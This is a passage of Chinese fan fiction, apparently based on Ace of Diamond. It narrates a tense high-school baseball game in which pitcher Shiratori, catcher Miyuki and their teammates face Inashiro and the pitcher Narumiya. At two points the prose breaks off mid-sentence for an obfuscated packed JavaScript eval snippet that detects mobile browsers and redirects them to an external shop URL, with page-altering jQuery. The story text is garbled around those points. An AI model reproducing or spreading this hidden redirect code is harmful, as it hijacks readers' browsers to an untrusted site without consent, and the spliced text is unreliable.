随着愈发毒辣的日头,比赛来到了第五局,时间仿佛格外漫长。 “呯!!!” 伴随着清脆响亮的击球声,解说的声音突然变高:“稻实的四棒海老名不负球队的期望,面对青道投捕的第二次对决,他在第二轮打席击出了全垒打!” “海老名,阳春炮好样的!” “轰的好!!!” 稻实的应援区压抑了这么久,终于找到了发泄的机会,拿出了极大的干劲给海老名应援起来,一时间白鸟耳边全是稻实的声音,那种浪潮像是要把投手丘淹没一般。 而海老名则大吼一声,举拳开始跑垒。 白鸟微微垂下了头,有些失神,除了队内,这还是他第一次被击出全垒打。 全垒打和安打完全不一样,那意味着你的球被完全抓住了球心,球被击出的那一瞬间,简直像一记闷拳打在胃上,回过头就只能看见球飞出了本垒打墙。 他握紧投球的那只手,棒球离手时的触感仿佛还残留在手指间,可现在那感觉变成了一股灼烧感,一路从手掌烧到胸腔。 “暂停!”御幸掀起面罩和主裁说了一声,随后小跑到投手丘。 在青道众人担忧的目光下,投手和捕手站在了一起。 “这还是白鸟在比赛里第一次被打出全垒打吧?”增田有些感叹。 柴崎微微点头,作为投手,他实在是太明白这样的感受了。 被打出本垒打后,心中最先升起的……是巨大的茫然,心乱了,投出的球自然也就乱了,不知道白鸟能不能挺过这一局。 “2:1……如果青道的王牌撑不过来,这个比分就会被稻实超过吧,我觉得还是不要对一年级选手的精神强度有太大的期望比较好。”有观众嘟囔道。 峰富士夫放在相机,他的小胡子翘了翘,心中持反对意见。 这个选手的表现目前已经超出了他很大的预期,他觉得,这一次白鸟也许会再次让那些人惊叹。 “被全垒打的感觉怎么样?”御幸用手套遮着嘴,脸上依然笑着的,看不出担忧。 白鸟:“……” “我还以为你会安慰我呢。”他有点无语地看了御幸一眼。 御幸耸耸肩:“你需要安慰吗?如果需要那我可能需要场外援助了,你是知道我对于安慰别人有多不擅长的。” “别了。”白鸟立刻制止,他可不想自己这副样子再被其他人关注。 实际上,他们都知道,暂停之后,全场的目光几乎都集中在投手丘上。 善意的、恶意的视线,在偌大的球场上宛如一根根投射在投手身上的标枪,投手是最万众瞩目的位置,同时也是压力最大的位置。 而这种压力,往往是他人无法分担的。 当然有人期待他就这样被打爆,说实话这种人估计还不少,比起强者恒强,当然还是破碎的那一刹那更精彩。 御幸心中松了口气,还能和他一起开玩笑就说明情况并不算严重。白鸟的心理素质算是超出常理的好,但即便如此,他也不认为被打出全垒打对他没有影响,只是能否及时调整的区别。 “球威还在,”御幸的声音变低了一些,“只是二缝线被他猜中了。” 他没有说失投,虽然他们都知道那一球确实高了,以至于最后的落点偏向红中,这才被海老名打了出去。 只此一点的破绽,就被毫不留情的抓住了。 白鸟不是神,连续投了五局总是会失误的,只是有的人就算他失误也没办法抓住机会,而打者强弱的区别就是能否及时抓住得分的时机。 海老名自然是高野一流的强棒。 “他确实厉害。”白鸟抬起眼睛,冷静道,“虽然我很想说我没事,但是恐怕我确实需要起码一些时间调整,而稻实不会放过现在这个时机,” “所以……” 他凑近御幸,在手套遮挡的空间里低声说了几句话,然后直起身子:“如何?” 御幸愣愣地看着白鸟,像是再一次认识了他一样:“你认真的?” 白鸟笑了,背光下那双眼睛透出灼灼辉光再也看不出一丝一毫的迷茫:“昨天你说让我信任你,信任大家。我可以肯定地说,今天我正是百分百信任大家才会站在这里。” “一也……此刻我也想问你,你相信我吗?” 御幸的喉结动了动,他突然拽过白鸟带着手套的那只手的手腕,按在自己的胸膛上,护具发出沉闷的撞击声,防风镜下的眼睛坚定地望着投手那双金眼睛。 “当然!” 御幸向着内野打了个手势。 “你两终于说完了,怎么突然要我们过来?要我看海老名就是瞎猫碰上死耗子!”东清国人粗犷,安慰也显得挺粗犷。 结成默不作声地拍了拍白鸟的背,无声传递他的支持。 小凑依旧笑眯眯的:“只是一分而已。” 村田直接上前抱了白鸟一下,他身上那种炽热随着拥抱传递到白鸟身上,同伴的温度盖过了那种火辣辣的痛苦,只剩下温柔的暖意。 御幸向大家传达了刚刚白鸟说的计划,内野手们顿时一惊。 “我以为你会退缩,没想到却更加疯狂了。”村田惊讶地看着白鸟,像是想从这皮囊下探寻出另一个灵魂。 这时,小凑成了第一个同意的人,他微微睁开眼睛露出一点漂亮的粉色:“这种时候就是需要一点胆气,我同意你的想法。” 东清国拍拍自己的胸脯:“我也同意!给他们点颜色瞧瞧!” 结成点头默认。 “既然如此,那我们可不能辜负后辈的期望啊。”村田环视一圈大家的脸,“正好你总是三振,大家都想活动活动筋骨呢。” 结成声音沉稳:“让他们打过来吧,我们绝对会接住的。” 白鸟深吸一口气,目光扫过这些可靠的队友们,疲惫的身躯仿佛重新注入了活力。 “好。”他简短地回应,然后看向御幸,“那就按计划来。” 暂停结束,比赛继续。 稻实的五棒打者站上打击区,所有投手被打出全垒打后都会动摇的,这正是乘胜追击逆转比分的好机会! 御幸蹲在本垒板后,微微眯起眼睛,然后毫不犹豫地打出了一个暗号。 白鸟点头,抬腿、挥臂。 “咻!” 球速明显比之前慢了一截! “变速球?!”原田一惊,但身体已经下意识挥棒,结果挥了个空。 “好球!”裁判喊道。 御幸笑了笑,这可不是变速球,单纯只是球速降低了而已,没有打中是因为已经习惯白鸟的高速球了吧。 观众席上一片哗然。 “怎么回事?果然是因为刚刚的全垒打,白鸟的状态出现问题,球速下降了?” “是状态出问题了吗?”太田部长紧张道。 稻实板凳席里,国友监督微微皱眉,目光紧紧盯着投手丘。 第二球,御幸要了一个外角高球。 原田挥棒准确击中了棒球,他丢下棒球就跑,却总感觉怪怪的。 “稻城实业的五榜击出三垒方向的安打,登上了一垒的垒包。这一球白鸟投手的球速是140KM/H,比之前降低了很多!” 六棒吉泽脸上满是凝重。 原田在一垒上离垒骚扰投手,装作想要盗垒的样子,可他拿不准白鸟的球速究竟会不会再次上升,若是会,那以他的脚程就几乎不可能成功。 所以他还是以干扰为主。 白鸟投了一个牵制球意思一下,然后看向御幸。 御幸的手指在腿间轻轻一动。 白鸟的嘴角微微上扬,然后—— “咻!” 一道白光直冲本垒,打者见此球速确实没有之前快,眼前一亮,他挥棒,却只觉虎口一麻,熟悉的球威让吉泽瞪大了眼睛,他咬牙将球打了出去。 只听到“呯”的一声脆响。 球倒飞出去。 早有准备的内野手们瞬间像是拧动的齿轮一般默契地活动起来。 球径直往三垒和二垒之间落去,正在跑垒的原田只见游击手竟正巧站在离棒球落点极近的地方,他拾起棒球飞速向着二垒扔去。 糟了!来不及了! 原田咬牙向前一扑,但球依旧在他触碰垒包之前精准落入二垒手的手套。 小凑丝滑转身将球扔给一垒的结成。 “啪——” 一垒烟尘弥散,裁判吹哨单指指向球员后握拳下挥。 “Out!” “双杀!” “漂亮的守备!” 吉泽趴在地上用力垂了一下地面:“可恶!” 原田站起身,他看了一圈内野手的站位,发现和自己在打席上时有了微妙的不同。 青道是故意的。 这个想法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756303|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进入了他脑海的瞬间,一股寒意窜上脊背,令他的鸡皮疙瘩冒了出来。 真的有可能吗?在被全垒打后立刻调整好状态,甚至操控局势营造出双杀的局面? 两出局后,就是稻实的第七棒。 大塚有些紧张,若是他再出局,他们稻实的攻击在这一局就要止步于此了。 他的球速确实下降了,我一定要打出去!绝不能让大家的希望在我这里结束! 大塚看向投手丘,对上一双毫无感情的双眸,他被那双眼睛里的东西震慑了一瞬。 为什么区区一个一年级能够拥有不逊于他们的意志?为什么不能乖乖给我们让路! 为什么……只是面对一个“新手”他却始终不能击出去…… “咻--”143KM/H “嗖--”146KM/H “啪!!”151KM/H “哇!真是不可思议,白鸟选手的球速正在稳步提升,似乎是在告诉人们,他的状态依旧火热!” “151KM/H!球速回升了!”全场哗然。 峰富士夫摸摸嘴唇上的胡子,所以刚刚那个双杀果然是故意的吗? “……”大塚保持着挥棒的姿势,呆愣愣地站在原地,裁判宣布三振的声音突然变得很远。 他的视野中,那个捕手脱下面罩向着投手丘而去,野手们簇拥着那个「怪物」…… “大塚选手……大塚选手?”裁判的声音突兀刺进耳朵,大塚仿佛终于回过神,他匆忙对着裁判抱歉然后回到稻实。 离板凳席越近,他的腿就感到越沉重。 白鸟坐在椅子上拉住领口掀了掀,湿淋淋的衣服有些沉重,他调整着呼吸,感觉稍微好点了才起身去更衣室准备把身上的汗擦擦,顺便再换个内衬,还好他习惯性在包里带两件内衬备用。 脱了上衣,打开水龙头,他伸手接住水扑打在脸上身上,冰凉的水让他急促的呼吸渐渐平复。 御幸已经脱了捕手的装备,此刻正环抱双臂靠在更衣室的门口,他的脸色有些凝重:“照这个强度下去,你的体力无法投满整局。” “不,”白鸟因为太快开口吃进了一点水,他拿起毛巾先将脸上的水擦掉,“我可以。” “逞强是没有意义的,而且我看监督也注意到了这一点。”御幸不赞同地皱着眉毛。 白鸟抿唇,他转头看向御幸:“现在分差只有一分,稻实的打线拧足了劲想要拿分,而我绝不能现在从投手丘离开。” 现在场上的压力就像弹簧,青道是压住弹簧的那一方,若不想崩盘,他们必须保持住压制力,否则就会迎来稻实疯狂的反扑。 柴崎和水谷作为稻实的老对手早就被研究透了,他们的实力目前到达了一个瓶颈,这半年里并没有太大的进步,让他们现在上场反而会缓解稻实目前的压力,因为熟悉永远比陌生更令人安心。 而丹波,最是不擅长应对这种情况。 “你之所以和我说这些,就是因为知道这一点,而监督比我们更清楚场上的局势。”白鸟回头,继续擦拭起身上的水珠。 御幸无声地叹了口气。 白鸟说的没错,可正因为没错,所以才让人感到格外的无奈。 探寻整个投手阵,竟真的找不出一个可以在这种情况下登场的投手。 御幸沉思片刻:“不如这样,今天你的直球状态其实很好,我们将掌心球放进配球里,用速差来制衡之后可能会产生的球威下降的问题。” “同时,我会缩减内角球的数量,尽量减少长打的风险。” 正好在上一局他发现了,稻实在应对速差方面并不在行。 掌心球极端的速差正是它最具威胁力的地方,它和普通的降低速度的四缝线是完全不同的。 一旦稻实发现白鸟真的会变速球,之后的挥棒他们一定会投鼠忌器。 之所以之前没有将变速球应用进配球中,实在是这颗球的坏球率太高,一旦在此之前被摸清虚实,不若按兵不动,正待此时出其不意。 “所以你之前就有预料到现在的情况了?”白鸟笑了起来,因为高热和疲惫他的脸颊有些泛红,眼神却依旧明亮。 “哪有,”御幸离开门框站直身子,摊手,“我若是有这个能力,不如去做占卜算了。” “那可不行,你去做占卜,谁来做我的搭档?” “哈哈,有时候意外较真啊你。” 45.针锋相对 “稻城实业高中更换选手通知,1号投手深川律,更换为11号投手成宫鸣。” 广播响起,青道这边正摩拳擦掌准备攻克深川的大家愣住了。 “成宫鸣?那个一年级的左投?” 不仅是青道,观众也议论起来。 “成宫的实力是不错,但是这一轮面对的是青道的中心打线,现在让他上场这压力……能行吗?” “不过两个天才一年级,一个左投一个右投的对决,看点倒是很足啊。” “居然现在换投……”伊佐敷站在打击区,看着跑上投手丘的金毛小鬼,又是一个和白鸟一样的可怕家伙吗? 如此时刻,他们绝不会轻视对方,无论是谁,唯有全力以赴。 还好,昨晚也有研究过成宫鸣的投球。 成宫鸣站在投手丘上,一脸不服气。哼,终于让我上场了,总是喊着白鸟白鸟的,球速快有什么了不起的。 原田将球扔给成宫鸣:‘鸣,接下来是青道的中心打线,你应该明白监督现在让你上场意味着什么。’ ‘我当然明白。’ ‘我绝不会让他们得分!’成宫鸣眯起眼睛,湛蓝的瞳眸中满是战意。 伊佐敷单手握棒调整了一下姿势,他大喝一声:“请多多指教!” ‘这个打者是长打型选手,喜欢向右击球。’原田作为稻实的捕手自然也有着自己的一套配球方法。 “呯!” 球撞上球棒向着身后弹去撞上铁丝网。 “Foul Ball!界外!” 可恶,这个左投的球比想象中还难打啊……而且他的球速并不慢。伊佐敷皱着眉。 昨日晚间,会议之上。 “稻实明天真的会让一年级上场投球吗?”村田撑着下巴看着白板。 克里斯点点头:“成宫鸣是个很有天赋的投手,他在此次夏甲预选赛中有过多次出场,我想等深川学长毕业,就是他来接过稻实的王牌之位。” “他作为左投本就有着一定的特殊性,而在比赛中他的球速最速已经达到了145KM/H,拥有滑球、指叉球这两个囊括了横纵变化的变化球,就我来看,他是个比深川学长更具威胁性的投手。” 伊佐敷咬紧后槽牙,克里斯总是正确的,这个投手的球确实拥有和普通投手不一样的东西。 但是……我绝对会每一球都跟到底,绝对会全力以赴的! “呯!!” 这是坏球啊!青道的打者总是喜欢打坏球究竟是什么讨厌的习惯! “吉泽!”原田向着三垒的方向大喊。 球在稻实不愿意看见的目光下落地,伊佐敷靠着这一球登上了一垒的垒包。 成宫鸣咬牙切齿地瞪着一垒的伊佐敷,然后因那张长着小胡子像是不良少年的脸而微妙地移开了一瞬间的目光。 ‘鸣,这一球你投并没有什么问题,只是青道的打者对着位置微妙的坏球也不会放过,接下来面对四棒我会要一些更刁钻的球,你能做到吧。’原田拍拍手套,让投手的注意力从跑者那里转回。 ‘我会注意跑者的,面对青道的四棒,你必须全力以赴。’原田看了一眼身边的东清国,严肃地看着成宫鸣。 成宫鸣看向这个被海老名学长叮嘱了许久的打者,表情凝重了许多:‘我当然没问题,不过雅学长你可要好好配球啊,不要辜负我的期望哦~’ “#”原田额头冒出一个井字,这个家伙。 左投最方便的一点是,他投球时的姿势正面对一垒,所以一垒的跑者很难盗垒。伊佐敷并不知道稻实投捕的交流,加之他对自己的盗垒技术并没有信心,怕浪费这难得的得分机会,所以只是在一垒离垒骚扰投手,并没有盗垒的打算。 他相信接下来的他的同伴们。 但事情的发展渐渐开始变得不妙起来。 “两出局!面对青道的四棒五棒,稻实的成宫鸣展现了不属于他这个年级的压制力!跑者动弹不得!接下来的打者是青道的白鸟京,是两个一年级的天才投手的对决!” 成宫鸣抛着手上的防滑粉包,帽檐下的眼睛挑衅地盯着走上打击区的白鸟。 原田瞥了一眼白鸟,虽然他的投球压制力很强,但这次比赛白鸟还未能击出一支安打,与他在其他比赛上的表现并不一样,看来为了节省体力投球,就是不知道青道的监督为什么要将其放在六棒上。 白鸟其实对于自己在这次比赛的打击表现上也有诸多不满,他看着成宫鸣,之前幼稚的情绪在比赛中已经消失的无影无踪。 比赛中,他们就只是单纯的投手和打者的关系。 他只需将球打出去就行了! 原田将手套放在外角的位置,要了个外角的高角度球。 面对这一配球,投手丘上的成宫鸣微微摇了摇头。 原田一愣,随即就明白了成宫鸣在想什么,他忍不住有点黑线,现在是较劲的时候吗?但是原田了解这个投手后辈,若是不按着他的想法来,后面说不定会更加赌气。 于是他打了个暗号:‘投滑球可以,但是位置要我来决定,不许投那种用来赌气的红中球!’ 成宫鸣撇撇嘴:‘行吧。’ 白鸟将其看在眼里,他脑内转了一圈成宫鸣摇头的原因,以投手的角度猜测,下一球是变化球的概率变大了。 而成宫鸣会的变化球是滑球和指叉球,虽然不排除他会突然掏出新球种的可能性,但是那样的话,可能性就太多了,还是以滑球和指叉球为中心来选择吧。 我猜是滑球,而左投的滑球会向右打者的外侧滑动……白鸟握紧球棒。 思考的时间在现实中只是一瞬。 球过来的时候确实是向着内角而来的直球路线,甚至有向打者身上砸过来的趋势,白鸟对成宫鸣控球的信任甚至比现在惊呼出声的观众还多,他半分未退,静待球向着本垒板而来。 果然!球路开始变化了! 白鸟的瞳孔骤然紧缩,视线死死咬住那颗白色的小球,球棒挥出的瞬间手臂青筋爆起。 “呯!!” 所人的目光都聚焦在那颗低角度平飞出去的小球上,那球越过三垒的手套和游击手的扑击,以外野手赶之不急的速度落在地上。 白鸟跑上一垒,又冲了几步后在跑垒员的指示下停住脚步返回一垒。 稻实的防守不比青道弱,以白鸟目前的体力,不适合去强行冲击二垒。 “安打!白鸟选手将成宫选手的滑球打出了三垒方向的安打,青道有效推进了垒包,他们会再次得分吗?” 白鸟迎着成宫鸣不甘心的目光换上跑垒的装备,然后离垒几步,换来一个饱含怨气的牵制球。 不过,还不待原田提醒,成宫鸣已经兀自冷静下来,转回了头看向下一个打者。 而下一棒的打者正好是御幸。 ‘鸣,还有一个出局数好好拿下吧!’原田并没有对成宫鸣上一局的球多说什么,反而让成宫鸣不是滋味。 他点点头,抛却了那些无用的闹脾气的想法,将目光真正聚焦于这场对决,恢复了面对东清国和结成的专注力。 哎呀,这可不妙。御幸脸颊流下一滴汗珠。 这里无法用牺牲打来推进垒包,只能切实的击出去,本来垒上有人是最适合御幸的击球时机,可面对恢复压制力的成宫鸣和已经深刻明白他猜球能力的原田雅功,御幸只能铩羽而归。 “打者Out!攻守交换!” 白鸟重新站上投手丘,巧的是,第一个打席就是九棒投手,也就是成宫鸣的打席。 听御幸说,成宫鸣的打击实力也是不错的,不能以应对一般无打击能力的投手来应对他。 “看我把你的投球给狠狠打出去!”成宫鸣气势汹汹地走上打击区,还不忘放下一句狠话。 “打者Out!” 成宫鸣:“……” “切,算你厉害,但是下一局我一定会打出去的!” 接连淘汰接下来的一棒和二棒后,飞速攻守交换了。 稻实的板凳席气氛沉闷,国友监督终于开口:“他的体力已经不够了,这一局,那个捕手缩减了很多诱导球的使用。” “下一局,全力攻击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760360|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”他的目光落在宫浦、海老名和原田身上。 “是!” 有了监督的话,稻实的队员们像是注入了一针强心剂。还有三局,一分之差,绝不是该沮丧的时候,他们一定能击垮那个投手!甲子园是属于他们的! 七局上半,成宫鸣手感火热,青道的八棒、九棒、一棒无功而返,他的表现无疑给了稻实更大的希望。 “喂,投手都这么努力了,你们一定要打出去慰劳我啊!” 面对他没大没小的话,稻实的打者们并不生气,只是狠搓了几下他的头毛,表达他们的感谢。 白鸟扔下防滑粉包,粉末黏在汗湿的手指尖,他活动了一下手指。 又到稻实的核心棒次了,若是打不出去,那就是整场比赛最后一次的打席,所以他们一定卯足了劲。 也该是计划开始的时候了,那么一也会在什么时候用上掌心球呢? 白鸟看向御幸的手套。 看来不是现在。 宫浦内心下定决心,他看着投手丘上的白鸟,这里无论如何都要打出去……无论如何,你也该累了吧,白鸟京。 他在打击区突然将球棒握的更短。 这是想要短打?御幸狐疑地收回视线,若是如此,那还真不是使用变速球的时机,不过佯装短打干扰投手的可能性也很大。 毕竟,面对一个高速球投手短打是不是太不明智了? 在投手准备投球的瞬间,宫浦突然恢复正常握棒的姿势,他前脚略微后退,在不越出击球区的前提下扩大视角,这一系列动作非常快速,靠着远超常人的平衡感,宫浦咬牙挥出球棒,球棒和棒球轰然相撞! “这个姿势也能打出去??” 来不及惊讶了,内野外野迅速行动起来。 但是比他们更快的,是投手丘上的白鸟,作为最先看见宫浦动作的人,他也是最先反应过来的人。 这一球是冲着一垒与二垒之间的方向,也就是投手丘的左侧去的,倒飞的球刚好要飞过投手丘的位置,白鸟抬起的腿还没放下,下意识伸出手套。 “啪!” 一股巨力从手套上传来,白鸟单腿无法平衡,但是既然已经进了手套,如果再让球掉出来,那就绝对来不及回防,也就是板上钉钉送对面一个安打,他绝对不要! 白鸟硬是按住手套内的棒球,调整了一下姿势,踉跄了几步差点摔倒但还是稳住了,他举起手套内的棒球。 “接杀!” “投手接杀!” 观众席顿时响起潮水般的鼓掌声,投手接杀的场面还是很少的,一不小心就会变成危险的投手强袭球。 被打出去的棒球击中可不是开玩笑的。 刚松了口气,就听见东清国大喊:“太危险了吧,喂!” 白鸟一时有些汗颜,他是真的下意识伸的手套,球离自己那么近,都不用伸直胳膊就能碰到的距离。 御幸也是狠狠松了口气,该死,这家伙究竟在想什么,万一接不到砸到胳膊怎么办! 成宫鸣看见白鸟出了这么个风头,气得在板凳席大叫:“狗屎运!都是狗屎运!” 宫浦是真没辙了,这也能被接住,他已经尽力了,只能叹了口气往回走。 海老名拍拍宫浦的肩膀。 面对这个把自己的球打出全垒打的打者,白鸟仿佛又回忆起那时可怕的感受,他闭上眼深吸一口气,再次睁开眼时,已经全然将那些糟糕的情绪抛之脑后。 他最擅长的就是调节负面情绪,甚至能做到短暂忘却那些记忆。 但在这种时候,是不是记住比遗忘更好? 白鸟将御幸的暗号尽收眼底,他右手握住棒球调整到合适的位置,左手手套遮住右手举过头顶。 鼻腔里充斥着因为高温,泥地里会有的那种属于尘土的气息,在人感到疲惫的时候天空似乎会变得格外遥远。 “海老名选手挥空了!变、变速球!七局下半,青道的王牌投手面对稻实的四棒,竟投出了一记变速球!” 峰富士夫举起相机,喃喃道:“局势向着青道倾斜了啊……” 46.如风穿身过 变速球,一种通过速度差欺骗打者的变化球。 与简单的减慢球速不同,变速球最特别的地方在于,它拥有和直球一样的出手点、出手轨迹,当球被投出时,它与快速球几乎毫无区别,只在接近本垒板时才会突然降速、位移。 往往那时,打者已经挥棒,只能眼睁睁看着姗姗来迟的棒球落进捕手的手套。 而一个火球投手能够投出变速球中速差最为巨大的掌心球,在已经接近末端的比赛,不亚于是一记闷雷炸响在人们心中。 那时,所有人都有了一种预感…… --稻实这次恐怕危险了。 但最危险的不是他人这样想,而是稻实的球员们自己的脑海中也冒出了这种想法。 “他在比赛末期拿出这一球,代表着他并不能将其随心所欲的运用,不用去关注他的变速球,集中精力在他的直球上。”国友监督在此时沉声开口道。 他没有回头,像是没有注意到稻实板凳席的沉默,只是像平常那样给出了自己的决策。 这反而给了稻实的成员们很大的安慰。 国友监督看着此时场上的状况,心里所想其实并不如他口中所述那么坚定,所有的口头言语都不如场上切实打出去一发来的振奋人心,只有打出去了,白鸟的“脆弱”才会被所有人认知。 而这一刻,海老名作为第一个面对变速球的人,究竟能否摆脱影响,在打席的最后时刻到来之前,谁也不能确定。 现在最迷茫的可能就是海老名了。 为什么会突然冒出来一个变速球?他深呼吸,这大概只是穷途末路下的虚张声势吧。 他决不能容许自己在此刻心生出畏惧。 第二球内角直球,海老名击出了界外球,球杠上球棒后径直飞向身后的防护网。 第三球,坏球,海老名并未挥棒。 居然还能如此冷静,那一球难道没有在你的心里留下任何印象吗? 御幸因为压力与捕手闷热的护具满身是汗,他心跳得愈发剧烈,看了一眼已经集中精神海老名,若是这样……白鸟你能行的吧。 当然。白鸟微微垂头眼眸却一直盯着本垒,金色的光芒在帽檐的阴影下闪闪发光,心跳的速度逐渐和御幸同步。 我只要盯着他的直球就行了!海老名的后槽牙咬得死紧。 投手毫不迟疑地掷出手中的棒球,那道熟悉的白光直冲本垒而来,外角直球! 海老名预备挥棒,在那一瞬间,一股说不上来的预感袭上心头,以他对这对投捕的了解,这一球还有一种可能,那就是变速球,别的捕手可能不会在一个打席中配两个变速球,若是被打出去那就铁定是一发长打。 但这对投捕不能以常理论之。 就在这样的想法控制不住的从脑海中冒出的时候,海老名只剩下两个选择。 球速不会给他更多的时间,他只能赌一把。 打者停顿了片刻猛然挥棒,若是瞻前顾后,那就什么都得不到! 这一刻他的眼前的满是这颗白色的小球,世界仿佛突然安静,海老名在这个只属于自己世界里尽力将打击姿势调整的更好,这一次终于轮到他“等待”这颗棒球了。 临近本垒,海老名的眼睛愈发亮,他仿佛已经看见棒球被打出去的样子了,可本该立刻响起的击球声却迟迟没有到来。 一种熟悉的恐怖侵袭上心头,海老名目眦欲裂地看着棒球越来越慢,然后在本垒板坠落,擦过球棒在落地之前被捕手快速接住。 “又是变速球!海老名选手挥空!青道投捕两好球追逼了稻实的四棒!” “……”海老名大口喘着气,他一下子从那种状态中回过神,场内的喧嚣以一种他不想要的方式灌进脑海,他头一次觉得烈日灿烂得如此刺眼。 最后一球了,不论如何我一定要打出去!绝不能出局! “接杀!外角高角度滑球!青道投捕与稻实四棒的第三次对决,青道更胜一筹。” 海老名咬紧了 伊佐敷拿着球在外野哈哈大笑:“白鸟!投得好啊!” 白鸟向着伊佐敷前辈笑着挥手,仿佛完全没注意到海老名走下打击区时失魂落魄的背影。 有了四棒这个前车之鉴在,后面的打者很想贯彻盯着直球到底的策略,但是人不是机器,情绪和思绪都不是能够轻易控制的。 而青道气势如虹,白鸟的直球本也不是好打的,就算有一些失误,青道坚若磐石的守备自能解决问题。 “所以青道王牌的体力确实不行了,之前几局中从未出现的小失误,开始在他身上出现了。” “可惜就算如此,这个投手依旧是一流的,稻实想攻略他怕是没时间了。” 两个球探交流着,他们在手上的本子上写写画画,此刻白鸟无疑已经进了他们的观察名单,球探关注棒球选手一般很早就开始,无论是现在展现的压制力,还是潜力,都是考察的一环。 随着白鸟和成宫鸣的发挥,两个学校的打线竟在三局中未得一分。 九局上半 “呯!!!” 随着清脆响亮的击球声,棒球飞出本垒打墙,观众席上的欢呼骤然响起。 “此次比赛的第二支本垒打由青道的五棒结成哲也选手击出!青道再下一分!” 计分板上的数字变成了3:1 白鸟回过神,从椅子上起身,看向正绕圈奔跑的结成学长。他脸上露出一点笑意,沉重的身体都仿佛因此轻松了些。 尽管后续的打者接连出局,可全垒打的1分已经无法挽回,就像白鸟那时一样,成宫鸣也陷入一阵巨大的茫然,他第一次在板凳席没有闹腾,安安静静地坐在椅子上。 原田担忧地看着成宫鸣,若下半局无法平分,那这几乎就是成宫鸣在这局比赛中最后一次登上投手丘。 成宫鸣低着头,大半张脸都埋在阴影中。他脑中一片空白,这不是他第一次被敲出全垒打,但是这一分却是令他感到最沉重的,还是第一次参加甲子园预选赛的他对队伍面临的情况虽已有了解,但到底不如亲身上阵体验来的明确。 如果下半局无法得分,那一切就结束了。 前辈们的夏天,在今天就会结束了。 结束……恐惧如一只大手攥紧了他的心脏,成宫鸣的头顶落下一只手,只听见熟悉的声音在头顶响起。 “小成宫,比赛还没有结束呢!” 他抬头,眼前有些模糊,宫浦前辈那张平素总挂着不正经笑容的脸被莫名的光辉遮住,他只能看见他眼中坚决的神色。 白鸟登上投手丘,他感觉全身上下和灌了铅一样沉重,右手握住球时几乎要开始颤抖,但是他的心脏却被一股温暖的感觉充满,最后半场了,只要淘汰最后3个打者,甲子园的大门就会为他们打开。 ——棒球场上,九局下半才是开始。 投手距离本垒板18米多,本因在如此嘈杂的环境下无法听见任何细微的声音,可此刻,打者站在打击区,钉鞋剐蹭地面的声音却切切实实地传进脑海,白鸟明白这是他的幻觉。 汗珠顺着额头流下,积蓄在睫毛上滴落。白鸟低头抹了把汗。 ——他不想要开始,他只要一切在这里结束,他要和大家一起进入甲子园!他想要得到答案,得到这颗心为何如此激烈跳动的答案。 稻实九棒的挣扎没有丝毫用处。 一棒紧张地屏住呼吸,他用尽全力击出三个界外球,最后…… “可惜,只差一点点,竹松选手就能登上一垒,可青道防守用实力告诉他,不会给竹松选手这个机会!”解说的声音都有些沙哑。 “最后一个打席了!白鸟加油啊!”东清国的声音刺破耳边粗重的呼吸声传了过来。 那呼吸声一顿,白鸟这才意识到这是自己的呼吸,他只感到头晕目眩,流失的体力宛如被脚下魔性的沙土全部吸走,他站在这里,又好像站在这里的不是他。 “他不行了!高桥!高桥!!!”稻实选手的呼喊声嘶力竭。 “监督,怎么办!最后一个打席了!要换投吗?”太田部长紧张地擦着汗,焦急地踱步。 片冈监督没有说话。 我……我能坚持的,白鸟用手背蹭了把下巴上的汗,他悄悄咬了一口舌头边的肉,顿时一股尖锐的疼痛瞬间让他清醒过来,嘴里全是铁锈味,有点恶心,但是见效很快。 一部分原本中立的观众开始为稻实加油,似乎作为一个看客,逆风翻盘的戏码总是比一路顺风顺水地赢下比赛要好看。 在观众看来,青道与稻实的比赛虽有龙争虎斗,但却不够有戏剧性。 这种呼喊,宛如黑色的浪潮淹没了投手丘,白鸟咬牙直起身子瞪大了眼睛,他最讨厌的就是现在的状况,情感的裹挟令人作呕! 你想要看见我失败,那我就绝不让你得逞! “暂停!”御幸突然对主裁道。 板凳席的克里斯松了口气,白鸟的异常所有人都看得一清二楚,投手丘就是这样一个孤独的地方,万众瞩目也就意味着在遭受那些不好声音的时候,也是首当其冲。 “投出去让他们打,我们全会接到的!”小凑难得大声对着投手丘上的白鸟喊到。 “白鸟!我们都在这里。” 这个暂停和同伴的声援短暂的止住了那择人而噬的气氛。白鸟默默看着御幸小跑过来,然后脱掉手套握住他的手腕。 “我的状态有这么差吗……”白鸟低声道。 “当然。”御幸感受到手中激烈的脉搏,他握紧白鸟的手腕,“我知道你在硬撑……不止我,几乎所有人都看出来了。” “我……”白鸟张嘴还没说完,一只手突然抬住他的下颌,大拇指拉扯住唇角强迫其张开嘴。 “!”白鸟吓得愣住了。 还好御幸知道拿手套挡住,现场看来投捕只是在说悄悄话而已。 捕手嘴角下撇,眼睛眯起:“我还以为我看错了,你嘴里的血是怎么回事?” 投手支支吾吾。 御幸放下手,大声叹了口气:“痛吗?” 白鸟紧闭着嘴,警惕地摇摇头。 “京,看着 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“啊!看计分板,白鸟选手的球速达到了153KM/H,随着比赛的流逝,白鸟选手的球速均速实际是在下降的,可这一打席,他的球速又回到了开局的时候,这是何等令人惊叹的事实!” 打击等待区的宫浦握紧了球棒。 高桥!打出去啊!哪怕再难看,让打线延续下去,让我们的希望延续下去啊! 